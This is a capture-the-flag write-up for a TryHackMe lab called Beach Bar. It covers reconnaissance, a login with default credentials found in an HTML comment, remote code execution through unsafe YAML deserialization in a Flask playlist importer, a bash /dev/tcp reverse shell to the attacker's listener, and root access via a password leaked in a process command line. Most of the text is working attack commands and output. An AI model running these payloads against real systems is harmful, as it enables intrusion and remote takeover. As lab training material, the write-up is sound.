Beach Bar: Web x Boot2Root - RCE X Django (TryHackMe)

Link to the challenge on TryHackMe: Beach Bar
Concierge Briefing
Welcome back to the Byte Lotus — this time the sand is warm, the deck lights are coming up, and the beach bar's jukebox takes requests from anyone with a phone. You spend the evening as a guest at the rail who simply notices things: a DJ who never logs out, a song queue that accepts a little more than song titles, a service down the boardwalk quietly announcing "something".
The beachside guest-experience build shipped on a deadline, and the night-shift developer wired the jukebox straight into the floor with the trimmings still attached.
🏖️ TODAY'S ITINERARY
[ ] Find the user flag
[ ] Find the root flag
Web
Boot2root
nmap -p- -sV IP_Address
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open http gunicorn
gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
/dashboard (Status: 302) [Size: 199] [--> /login]
/export (Status: 302) [Size: 199] [--> /login]
/import (Status: 302) [Size: 199] [--> /login]
/login (Status: 200) [Size: 3522]
/logout (Status: 302) [Size: 199]
curl -s http://IP_Address/login | tee login.html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Beach Bar // Sign in</title>
<style>
:root {
--sky-top:#ffd6a0; --sky-bot:#ff8e72; --sea:#2a9d8f; --coral:#e76f51;
--sand:#fff4e3; --ink:#3a2e2a; --muted:#9b7b6b; --line:#f0c9a8;
}
* { box-sizing:border-box; }
body {
margin:0; color:var(--ink);
font:15px/1.6 "Trebuchet MS",Avenir,"Segoe UI",sans-serif;
background:linear-gradient(180deg,var(--sky-top) 0%,var(--sky-bot) 45%,var(--sea) 100%);
background-attachment:fixed; min-height:100vh;
}
header {
display:flex; align-items:center; justify-content:space-between;
padding:16px 28px; background:rgba(255,244,227,.85); backdrop-filter:blur(4px);
border-bottom:3px solid var(--coral);
}
header .brand { font-weight:800; letter-spacing:1px; color:var(--coral); font-size:18px; }
header .brand .sun { color:#f4a261; }
nav a { color:var(--muted); text-decoration:none; margin-left:18px; font-weight:600; }
nav a:hover { color:var(--coral); }
main { max-width:760px; margin:36px auto; padding:0 20px; }
.card {
background:var(--sand); border:1px solid var(--line); border-radius:14px;
padding:24px 26px; margin-bottom:22px; box-shadow:0 10px 30px rgba(58,46,42,.12);
}
h1 { font-size:24px; margin:0 0 14px; }
h2 { font-size:13px; color:var(--muted); text-transform:uppercase; letter-spacing:2px; margin:0 0 10px; }
label { display:block; margin:14px 0 5px; color:var(--muted); font-weight:600; font-size:13px; }
input[type=text], input[type=password], textarea {
width:100%; background:#fff; border:1px solid var(--line); color:var(--ink);
padding:11px 13px; border-radius:9px; font:inherit;
}
textarea { min-height:210px; resize:vertical; font-family:ui-monospace,Menlo,Consolas,monospace; font-size:13px; }
button {
background:var(--coral); color:#fff; border:0; padding:11px 22px;
border-radius:9px; font:inherit; font-weight:700; cursor:pointer; margin-top:16px;
}
button:hover { filter:brightness(1.05); }
.flash { background:#ffe1d8; border:1px solid var(--coral); color:#b5402a; padding:10px 14px; border-radius:9px; margin-bottom:16px; }
pre { background:#fff; border:1px solid var(--line); border-radius:9px; padding:14px; overflow:auto; }
.muted { color:var(--muted); }
.stat { display:inline-block; min-width:140px; margin:6px 16px 6px 0; }
.stat b { display:block; font-size:24px; color:var(--sea); }
a.dl { color:var(--coral); font-weight:700; }
</style>
</head>
<body>
<header>
<div class="brand"><span class="sun">☀</span> BEACH BAR</div>
<nav>
</nav>
</header>
<main>
<div class="card" style="max-width:420px;margin:48px auto;">
<h1>DJ booth sign-in</h1>
<p class="muted">Manage the jukebox playlists for tonight's set.</p>
<!--
staff note: the demo DJ login is still enabled for the soft opening.
dj / dj -- swap this before the season starts (ticket BAR-7)
-->
<form method="post">
<label for="username">Username</label>
<input type="text" id="username" name="username" autocomplete="off" autofocus>
<label for="password">Password</label>
<input type="password" id="password" name="password" autocomplete="off">
<button type="submit">Step up to the decks</button>
</form>
</div>
</main>
</body>
</html>
curl -s -i -c cookies.txt -b cookies.txt \
-X POST http://IP_Address/login \
-d "username=dj&password=dj"
HTTP/1.1 302 FOUND
Server: gunicorn
Date: Mon, 03 Aug 2026 09:35:06 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 207
Location: /dashboard
Vary: Cookie
Set-Cookie: session=eyJ1c2VyIjoiZGoifQ.anBgyg.B5XfwMqvWgQa2XsguO7x4_mzQEU; HttpOnly; Path=/
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/dashboard">/dashboard</a>. If not, click the link.
curl -s -b cookies.txt http://IP_Address/dashboard
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Beach Bar // Floor</title>
<style>
:root {
--sky-top:#ffd6a0; --sky-bot:#ff8e72; --sea:#2a9d8f; --coral:#e76f51;
--sand:#fff4e3; --ink:#3a2e2a; --muted:#9b7b6b; --line:#f0c9a8;
}
* { box-sizing:border-box; }
body {
margin:0; color:var(--ink);
font:15px/1.6 "Trebuchet MS",Avenir,"Segoe UI",sans-serif;
background:linear-gradient(180deg,var(--sky-top) 0%,var(--sky-bot) 45%,var(--sea) 100%);
background-attachment:fixed; min-height:100vh;
}
header {
display:flex; align-items:center; justify-content:space-between;
padding:16px 28px; background:rgba(255,244,227,.85); backdrop-filter:blur(4px);
border-bottom:3px solid var(--coral);
}
header .brand { font-weight:800; letter-spacing:1px; color:var(--coral); font-size:18px; }
header .brand .sun { color:#f4a261; }
nav a { color:var(--muted); text-decoration:none; margin-left:18px; font-weight:600; }
nav a:hover { color:var(--coral); }
main { max-width:760px; margin:36px auto; padding:0 20px; }
.card {
background:var(--sand); border:1px solid var(--line); border-radius:14px;
padding:24px 26px; margin-bottom:22px; box-shadow:0 10px 30px rgba(58,46,42,.12);
}
h1 { font-size:24px; margin:0 0 14px; }
h2 { font-size:13px; color:var(--muted); text-transform:uppercase; letter-spacing:2px; margin:0 0 10px; }
label { display:block; margin:14px 0 5px; color:var(--muted); font-weight:600; font-size:13px; }
input[type=text], input[type=password], textarea {
width:100%; background:#fff; border:1px solid var(--line); color:var(--ink);
padding:11px 13px; border-radius:9px; font:inherit;
}
textarea { min-height:210px; resize:vertical; font-family:ui-monospace,Menlo,Consolas,monospace; font-size:13px; }
button {
background:var(--coral); color:#fff; border:0; padding:11px 22px;
border-radius:9px; font:inherit; font-weight:700; cursor:pointer; margin-top:16px;
}
button:hover { filter:brightness(1.05); }
.flash { background:#ffe1d8; border:1px solid var(--coral); color:#b5402a; padding:10px 14px; border-radius:9px; margin-bottom:16px; }
pre { background:#fff; border:1px solid var(--line); border-radius:9px; padding:14px; overflow:auto; }
.muted { color:var(--muted); }
.stat { display:inline-block; min-width:140px; margin:6px 16px 6px 0; }
.stat b { display:block; font-size:24px; color:var(--sea); }
a.dl { color:var(--coral); font-weight:700; }
</style>
</head>
<body>
<header>
<div class="brand"><span class="sun">☀</span> BEACH BAR</div>
<nav>
<a href="/dashboard">Floor</a>
<a href="/import">Import</a>
<a href="/export">Export</a>
<a href="/logout">Sign out</a>
</nav>
</header>
<main>
<div class="card">
<h1>Tonight on the floor</h1>
<p class="muted">Signed in as <b>dj</b>. The jukebox is streaming live to the deck speakers.</p>
<div>
<div class="stat"><b>42</b> in queue</div>
<div class="stat"><b>Sunset Session</b> active set</div>
<div class="stat"><b>Live</b> stream status</div>
</div>
</div>
<div class="card">
<h2>Playlists</h2>
<p class="muted">
Bring a set from another night: <a class="dl" href="/export">Export</a>
the current playlist as YAML, tweak it, and load it back via
<a class="dl" href="/import">Import</a>.
</p>
</div>
</main>
</body>
</html>
curl -s -b cookies.txt http://IP_Address/export
curl -s -b cookies.txt http://IP_Address/import
# Beach Bar jukebox playlist export
playlist:
name: Sunset Session
vibe: golden hour
tracks:
- artist: Khruangbin
title: Maria Tambien
- artist: Men I Trust
title: Show Me How
- artist: Crumb
title: Locket
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Beach Bar // Import playlist</title>
<style>
:root {
--sky-top:#ffd6a0; --sky-bot:#ff8e72; --sea:#2a9d8f; --coral:#e76f51;
--sand:#fff4e3; --ink:#3a2e2a; --muted:#9b7b6b; --line:#f0c9a8;
}
* { box-sizing:border-box; }
body {
margin:0; color:var(--ink);
font:15px/1.6 "Trebuchet MS",Avenir,"Segoe UI",sans-serif;
background:linear-gradient(180deg,var(--sky-top) 0%,var(--sky-bot) 45%,var(--sea) 100%);
background-attachment:fixed; min-height:100vh;
}
header {
display:flex; align-items:center; justify-content:space-between;
padding:16px 28px; background:rgba(255,244,227,.85); backdrop-filter:blur(4px);
border-bottom:3px solid var(--coral);
}
header .brand { font-weight:800; letter-spacing:1px; color:var(--coral); font-size:18px; }
header .brand .sun { color:#f4a261; }
nav a { color:var(--muted); text-decoration:none; margin-left:18px; font-weight:600; }
nav a:hover { color:var(--coral); }
main { max-width:760px; margin:36px auto; padding:0 20px; }
.card {
background:var(--sand); border:1px solid var(--line); border-radius:14px;
padding:24px 26px; margin-bottom:22px; box-shadow:0 10px 30px rgba(58,46,42,.12);
}
h1 { font-size:24px; margin:0 0 14px; }
h2 { font-size:13px; color:var(--muted); text-transform:uppercase; letter-spacing:2px; margin:0 0 10px; }
label { display:block; margin:14px 0 5px; color:var(--muted); font-weight:600; font-size:13px; }
input[type=text], input[type=password], textarea {
width:100%; background:#fff; border:1px solid var(--line); color:var(--ink);
padding:11px 13px; border-radius:9px; font:inherit;
}
textarea { min-height:210px; resize:vertical; font-family:ui-monospace,Menlo,Consolas,monospace; font-size:13px; }
button {
background:var(--coral); color:#fff; border:0; padding:11px 22px;
border-radius:9px; font:inherit; font-weight:700; cursor:pointer; margin-top:16px;
}
button:hover { filter:brightness(1.05); }
.flash { background:#ffe1d8; border:1px solid var(--coral); color:#b5402a; padding:10px 14px; border-radius:9px; margin-bottom:16px; }
pre { background:#fff; border:1px solid var(--line); border-radius:9px; padding:14px; overflow:auto; }
.muted { color:var(--muted); }
.stat { display:inline-block; min-width:140px; margin:6px 16px 6px 0; }
.stat b { display:block; font-size:24px; color:var(--sea); }
a.dl { color:var(--coral); font-weight:700; }
</style>
</head>
<body>
<header>
<div class="brand"><span class="sun">☀</span> BEACH BAR</div>
<nav>
<a href="/dashboard">Floor</a>
<a href="/import">Import</a>
<a href="/export">Export</a>
<a href="/logout">Sign out</a>
</nav>
</header>
<main>
<div class="card">
<h1>Import playlist</h1>
<p class="muted">Paste a playlist (YAML) or upload a <code>.yml</code> set exported from another night.</p>
<form method="post" enctype="multipart/form-data">
<label for="playlist">Playlist YAML</label>
<textarea id="playlist" name="playlist" placeholder="playlist: name: ..."></textarea>
<label for="playlist_file">…or upload a file</label>
<input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
<button type="submit">Load playlist</button>
</form>
</div>
</main>
</body>
</html>
curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload3.yml"
<!doctype html>
<html lang="en">
<body>
<header>
<div class="brand"><span class="sun">☀</span> BEACH BAR</div>
<nav>
<a href="/dashboard">Floor</a>
<a href="/import">Import</a>
<a href="/export">Export</a>
<a href="/logout">Sign out</a>
</nav>
</header>
<main>
<div class="card">
<h1>Import playlist</h1>
<p class="muted">Paste a playlist (YAML) or upload a <code>.yml</code> set exported from another night.</p>
<form method="post" enctype="multipart/form-data">
<label for="playlist">Playlist YAML</label>
<textarea id="playlist" name="playlist" placeholder="playlist: name: ..."></textarea>
<label for="playlist_file">…or upload a file</label>
<input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
<button type="submit">Load playlist</button>
</form>
</div>
<div class="card">
<h2>Loader error</h2>
<pre>Could not load playlist: Command '['find', '/', '-iname', '*flag*']' returned non-zero exit status 1.</pre>
</div>
</main>
</body>
curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload4.yml"
<!doctype html>
<html lang="en">
<body>
<header>
<div class="brand"><span class="sun">☀</span> BEACH BAR</div>
<nav>
<a href="/dashboard">Floor</a>
<a href="/import">Import</a>
<a href="/export">Export</a>
<a href="/logout">Sign out</a>
</nav>
</header>
<main>
<div class="card">
<h1>Import playlist</h1>
<p class="muted">Paste a playlist (YAML) or upload a <code>.yml</code> set exported from another night.</p>
<form method="post" enctype="multipart/form-data">
<label for="playlist">Playlist YAML</label>
<textarea id="playlist" name="playlist" placeholder="playlist: name: ..."></textarea>
<label for="playlist_file">…or upload a file</label>
<input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
<button type="submit">Load playlist</button>
</form>
</div>
<div class="card">
<h2>Loaded playlist</h2>
<pre>b'bartender\n'</pre>
<p class="muted">Queued for tonight's set.</p>
</div>
</main>
</body>
curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload5.yml"
<!doctype html>
<html lang="en">
<body>
<header>
<div class="brand"><span class="sun">☀</span> BEACH BAR</div>
<nav>
<a href="/dashboard">Floor</a>
<a href="/import">Import</a>
<a href="/export">Export</a>
<a href="/logout">Sign out</a>
</nav>
</header>
<main>
<div class="card">
<h1>Import playlist</h1>
<p class="muted">Paste a playlist (YAML) or upload a <code>.yml</code> set exported from another night.</p>
<form method="post" enctype="multipart/form-data">
<label for="playlist">Playlist YAML</label>
<textarea id="playlist" name="playlist" placeholder="playlist: name: ..."></textarea>
<label for="playlist_file">…or upload a file</label>
<input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
<button type="submit">Load playlist</button>
</form>
</div>
<div class="card">
<h2>Loaded playlist</h2>
<pre>b'total 16\ndrwxr-xr-x 4 root root 4096 Jun 11 10:55 .\ndrwxr-xr-x 22 root root 4096 Aug 3 09:15 ..\ndrwxr-x--- 2 bartender bartender 4096 Jun 11 12:59 bartender\ndrwxr-xr-x 4 ubuntu ubuntu 4096 Jul 28 18:47 ubuntu\n'</pre>
<p class="muted">Queued for tonight's set.</p>
</div>
</main>
</body>
</html>
curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload_ls_bart.yml"
<!doctype html>
<html lang="en">
<body>
<header>
<div class="brand"><span class="sun">☀</span> BEACH BAR</div>
<nav>
<a href="/dashboard">Floor</a>
<a href="/import">Import</a>
<a href="/export">Export</a>
<a href="/logout">Sign out</a>
</nav>
</header>
<main>
<div class="card">
<h1>Import playlist</h1>
<p class="muted">Paste a playlist (YAML) or upload a <code>.yml</code> set exported from another night.</p>
<form method="post" enctype="multipart/form-data">
<label for="playlist">Playlist YAML</label>
<textarea id="playlist" name="playlist" placeholder="playlist: name: ..."></textarea>
<label for="playlist_file">…or upload a file</label>
<input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
<button type="submit">Load playlist</button>
</form>
</div>
<div class="card">
<h2>Loaded playlist</h2>
<pre>b'total 24\ndrwxr-x--- 2 bartender bartender 4096 Jun 11 12:59 .\ndrwxr-xr-x 4 root root 4096 Jun 11 10:55 ..\n-rw-r--r-- 1 bartender bartender 220 Feb 25 2020 .bash_logout\n-rw-r--r-- 1 bartender bartender 3771 Feb 25 2020 .bashrc\n-rw-r--r-- 1 bartender bartender 807 Feb 25 2020 .profile\n-rw-r----- 1 bartender bartender 34 Jun 11 12:59 user.txt\n'</pre>
<p class="muted">Queued for tonight's set.</p>
</div>
</main>
</body>
curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload_cat_bart.yml"
<!doctype html>
<html lang="en">
<body>
<header>
<div class="brand"><span class="sun">☀</span> BEACH BAR</div>
<nav>
<a href="/dashboard">Floor</a>
<a href="/import">Import</a>
<a href="/export">Export</a>
<a href="/logout">Sign out</a>
</nav>
</header>
<main>
<div class="card">
<h1>Import playlist</h1>
<p class="muted">Paste a playlist (YAML) or upload a <code>.yml</code> set exported from another night.</p>
<form method="post" enctype="multipart/form-data">
<label for="playlist">Playlist YAML</label>
<textarea id="playlist" name="playlist" placeholder="playlist: name: ..."></textarea>
<label for="playlist_file">…or upload a file</label>
<input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
<button type="submit">Load playlist</button>
</form>
</div>
<div class="card">
<h2>Loaded playlist</h2>
<pre>b'THM{y4ml_pl4yl1st_pwns_th3_redacted}\n'</pre>
<p class="muted">Queued for tonight's set.</p>
</div>
</main>
</body>
</html>
Root Flag
nc -lvnp 4444
curl -s -b cookies.txt -X POST http://IP\_Address/import -F "playlist_file=@payload_rev.yml"
cat > payload_rev.yml << 'EOF'
!!python/object/apply:subprocess.check_output
args: ['bash -c "bash -i >& /dev/tcp/10.113.77.179/4444 0>&1"']
kwds: {shell: true}
EOF
root@ip-10-114-98-223:~#
root@ip-10-114-98-223:~# curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload_rev.yml"
<html>
<head>
<title>Internal Server Error</title>
</head>
<body>
<h1><p>Internal Server Error</p></h1>
</body>
</html>
root@ip-10-114-98-223:~#
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on IP_Address 48774
bash: cannot set terminal process group (613): Inappropriate ioctl for device
bash: no job control in this shell
bartender@tryhackme-2404:/opt/beach-bar/webapp$ id
id
uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)
bartender@tryhackme-2404:/opt/beach-bar/webapp$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required
bartender@tryhackme-2404:/opt/beach-bar/webapp$ find / -perm -4000 -type f 2>/dev/null
<-bar/webapp$ find / -perm -4000 -type f 2>/dev/null
/snap/core20/2379/usr/bin/chfn
/snap/core20/2379/usr/bin/chsh
/snap/core20/2379/usr/bin/gpasswd
/snap/core20/2379/usr/bin/mount
/snap/core20/2379/usr/bin/newgrp
/snap/core20/2379/usr/bin/passwd
/snap/core20/2379/usr/bin/su
/snap/core20/2379/usr/bin/sudo
/snap/core20/2379/usr/bin/umount
/snap/core20/2379/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2379/usr/lib/openssh/ssh-keysign
/snap/core/17292/bin/mount
/snap/core/17292/bin/ping
/snap/core/17292/bin/ping6
/snap/core/17292/bin/su
/snap/core/17292/bin/umount
/snap/core/17292/usr/bin/chfn
/snap/core/17292/usr/bin/chsh
/snap/core/17292/usr/bin/gpasswd
/snap/core/17292/usr/bin/newgrp
/snap/core/17292/usr/bin/passwd
/snap/core/17292/usr/bin/sudo
/snap/core/17292/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17292/usr/lib/openssh/ssh-keysign
/snap/core/17292/usr/lib/snapd/snap-confine
/snap/core/17292/usr/sbin/pppd
/snap/core18/1885/bin/mount
/snap/core18/1885/bin/ping
/snap/core18/1885/bin/su
/snap/core18/1885/bin/umount
/snap/core18/1885/usr/bin/chfn
/snap/core18/1885/usr/bin/chsh
/snap/core18/1885/usr/bin/gpasswd
/snap/core18/1885/usr/bin/newgrp
/snap/core18/1885/usr/bin/passwd
/snap/core18/1885/usr/bin/sudo
/snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1885/usr/lib/openssh/ssh-keysign
/snap/core22/2411/usr/bin/chfn
/snap/core22/2411/usr/bin/chsh
/snap/core22/2411/usr/bin/gpasswd
/snap/core22/2411/usr/bin/mount
/snap/core22/2411/usr/bin/newgrp
/snap/core22/2411/usr/bin/passwd
/snap/core22/2411/usr/bin/su
/snap/core22/2411/usr/bin/sudo
/snap/core22/2411/usr/bin/umount
/snap/core22/2411/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/2411/usr/lib/openssh/ssh-keysign
/snap/core22/2411/usr/libexec/polkit-agent-helper-1
/snap/core22/1621/usr/bin/chfn
/snap/core22/1621/usr/bin/chsh
/snap/core22/1621/usr/bin/gpasswd
/snap/core22/1621/usr/bin/mount
/snap/core22/1621/usr/bin/newgrp
/snap/core22/1621/usr/bin/passwd
/snap/core22/1621/usr/bin/su
/snap/core22/1621/usr/bin/sudo
/snap/core22/1621/usr/bin/umount
/snap/core22/1621/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/1621/usr/lib/openssh/ssh-keysign
/snap/core22/1621/usr/libexec/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/mount
bartender@tryhackme-2404:/opt/beach-bar/webapp$
python3 -c 'import pty; pty.spawn("/bin/bash")’
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
ls -la /opt/beach-bar/webapp
cat /opt/beach-bar/webapp/*.py 2>/dev/null | head -100
cat ~/.bash_history 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.d/ls -la /etc/cron.d/python3 -c 'import pty; pty.spawn("/bin/bash")'
ls -la /opt/beach-bar/webapp
cat /opt/beach-bar/webapp/*.py 2>/dev/null | head -100
cat ~/.bash_history 2>/dev/null
cat /etc/crontab
ls: cannot access '/etc/cron.d/python3': No such file or directory
ls: cannot access 'import pty; pty.spawn("/bin/bash")': No such file or directory
bartender@tryhackme-2404:/opt/beach-bar/webapp$ export TERM=xterm
bartender@tryhackme-2404:/opt/beach-bar/webapp$
bartender@tryhackme-2404:/opt/beach-bar/webapp$ ls -la /opt/beach-bar/webapp
total 24
drwxr-xr-x 4 bartender bartender 4096 Jun 11 13:02 .
drwxr-xr-x 5 systemd-coredump ubuntu 4096 Jun 11 13:21 ..
drwxr-xr-x 2 bartender bartender 4096 Jul 28 18:37 __pycache__
-rw-r--r-- 1 bartender bartender 2445 Jun 11 13:02 app.py
-rw-r--r-- 1 bartender bartender 44 Jun 11 10:47 requirements.txt
drwxr-xr-x 2 bartender bartender 4096 Jun 11 10:47 templates
bartender@tryhackme-2404:/opt/beach-bar/webapp$ cat /opt/beach-bar/webapp/*.py 2>/dev/null | head -100
#!/usr/bin/env python3
import os
import yaml
from functools import wraps
from flask import (
Flask, render_template, request, redirect,
url_for, session, flash, Response,
)
app = Flask(__name__)
app.secret_key = "beach-bar-jukebox-fixed-session-key"
USERS = {
"dj": "dj",
}
SAMPLE_PLAYLIST = """\
# Beach Bar jukebox playlist export
playlist:
name: Sunset Session
vibe: golden hour
tracks:
- artist: Khruangbin
title: Maria Tambien
- artist: Men I Trust
title: Show Me How
- artist: Crumb
title: Locket
"""
def login_required(f):
@wraps(f)
def wrapper(*args, **kwargs):
if not session.get("user"):
return redirect(url_for("login"))
return f(*args, **kwargs)
return wrapper
@app.route("/")
def index():
if session.get("user"):
return redirect(url_for("dashboard"))
return redirect(url_for("login"))
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
u = request.form.get("username", "")
p = request.form.get("password", "")
if USERS.get(u) == p:
session["user"] = u
return redirect(url_for("dashboard"))
flash("Invalid credentials.")
return render_template("login.html")
@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("login"))
@app.route("/dashboard")
@login_required
def dashboard():
return render_template("dashboard.html", user=session["user"])
@app.route("/export")
@login_required
def export():
return Response(
SAMPLE_PLAYLIST,
mimetype="application/x-yaml",
headers={"Content-Disposition": "attachment; filename=playlist.yml"},
)
@app.route("/import", methods=["GET", "POST"])
@login_required
def import_playlist():
result = None
error = None
if request.method == "POST":
content = request.form.get("playlist", "")
if "playlist_file" in request.files:
f = request.files["playlist_file"]
if f and f.filename:
content = f.read().decode("utf-8", "replace")
try:
parsed = yaml.load(content, Loader=yaml.Loader)
result = parsed
except Exception as e:
error = f"Could not load playlist: {e}"
return render_template("import.html", result=result, error=error)
bartender@tryhackme-2404:/opt/beach-bar/webapp$ cat ~/.bash_history 2>/dev/null
bartender@tryhackme-2404:/opt/beach-bar/webapp$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
bartender@tryhackme-2404:/opt/beach-bar/webapp$
ls -la /etc/cron.d/
total 28
drwxr-xr-x 2 root root 4096 Oct 22 2024 .
drwxr-xr-x 109 root root 12288 Aug 3 09:15 ..
-rw-r--r-- 1 root root 102 Feb 13 2020 .placeholder
-rw-r--r-- 1 root root 201 Feb 14 2020 e2scrub_all
-rw-r--r-- 1 root root 396 Jan 9 2024 sysstat
bartender@tryhackme-2404:/opt/beach-bar/webapp$
cat /opt/beach-bar/jukeboxd/jukeboxd.py
cat /opt/beach-bar/jukeboxd/jukeboxd.py
#!/usr/bin/env python3
import argparse
import time
NOW_PLAYING = [
"Khruangbin - Maria Tambien",
"Men I Trust - Show Me How",
"Crumb - Locket",
"Mac DeMarco - Chamber of Reflection",
]
def main():
parser = argparse.ArgumentParser(description="Beach Bar jukebox streamer")
parser.add_argument("--stream-pass", required=True, help="stream backend password")
parser.add_argument("--bitrate", default="320k")
args = parser.parse_args()
i = 0
while True:
track = NOW_PLAYING[i % len(NOW_PLAYING)]
i += 1
time.sleep(30)
if __name__ == "__main__":
main()
ps aux | grep jukebox
ps aux | grep jukebox
root 612 0.0 0.2 20176 11764 ? Ss 09:15 0:00 /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass SunsetSpritz2024! --bitrate 320k
bartend+ 1571 0.0 0.0 7084 2236 pts/0 S+ 10:35 0:00 grep --color=auto jukebox
ps -eo pid,user,cmd | grep jukeboxd
cat /proc/$(pgrep -f jukeboxd.py)/cmdline | tr '\0' ' '; echops -eo pid,user,cmd | grep jukeboxd
612 root /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass SunsetSpritz2024! --bitrate 320k
1573 bartend+ grep --color=auto jukeboxd
u root
su root
Password: SunsetSpritz2024!
root@tryhackme-2404:/opt/beach-bar/webapp#
my time expired i had to do it again:
Notice the IP changed: you're now hitting IP_Address, but earlier work was against IP_Address. This looks like a fresh/different instance (TryHackMe VPN instances often get a new IP if the machine restarted or you reconnected to the VPN). Your old cookies won't be valid on a new instance since the Flask session is tied to that specific running app/session state.
Fix — log in again against the current target IP:
bash
curl -s -i -c cookies.txt -b cookies.txt \
-X POST http://IP_Address/login \
-d "username=dj&password=dj"
Check that you get a 302 redirect to /dashboard this time, and that cookies.txt now has a fresh session cookie:
bash
cat cookies.txt
Then retry your reverse shell payload against the correct current IP:
bash
curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload_rev.yml"
Also double check your listener is running and using the right port/IP for this session:
curl -s -b cookies.txt -X POST http://IP_Address/import -F "playlist_file=@payload_rev.yml"
<html>
<head>
<title>Internal Server Error</title>
</head>
<body>
<h1><p>Internal Server Error</p></h1>
</body>
</html>
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on IP_Address 57986
bash: cannot set terminal process group (611): Inappropriate ioctl for device
bash: no job control in this shell
bartender@tryhackme-2404:/opt/beach-bar/webapp$ su root
su root
Password: SunsetSpritz2024!
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
THM{cr3d3nt14l_r3us3_4t_th3_b34ch_redacted}



